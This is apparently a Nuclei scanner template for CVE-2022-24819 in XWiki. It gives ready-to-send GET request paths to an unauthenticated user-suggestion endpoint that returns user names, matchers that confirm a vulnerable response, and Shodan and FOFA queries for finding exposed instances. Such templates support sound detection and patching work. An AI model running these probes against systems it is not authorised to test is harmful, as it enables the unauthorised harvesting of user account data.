id: CVE-2022-24819

info:
  name: XWiki < 12.10.11, 13.4.4 & 13.9-rc-1 - Information Disclosure
  author: ritikchaddha
  severity: medium
  description: |
    An unauthenticated user can retrieve a list of users and their full names through a publicly accessible URL in XWiki. The issue affects versions before 12.10.11, 13.4.4, and 13.9-rc-1.
  impact: |
    Information disclosure could lead to unauthorized access to sensitive data.
  remediation: |
    Upgrade XWiki to the latest version to mitigate CVE-2022-24819.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-97jg-43c9-q6pf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-24819
    cwe-id: CWE-359
    epss-score: 0.03221
    epss-percentile: 0.8659
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2022,xwiki,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/login/XWikiLogin?xpage=uorgsuggest&uorg=user&wiki=&media=json"
      - "{{BaseURL}}/xwiki/bin/login/XWikiLogin?xpage=uorgsuggest&uorg=user&wiki=&media=json"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "value\":", "label\":", "icon\":")'
          - 'contains_all(body, "<results>", "<rs id=", "icon=\"")'
        condition: or

      - type: dsl
        dsl:
          - 'contains_any(content_type, "application/json", "text/xml")'
          - "status_code == 401 || status_code_2 == 200"
        condition: and
# digest: 4b0a00483046022100ffdbcbc284743c94247fc0f10c02e8510e6668b1bcf2dd88eb2787809b873a1c0221009722e47208ada291107ea372a471cd0158659c4ca49077ba2d7c6206b3685950:922c64590222798bb761d5b6d8e72950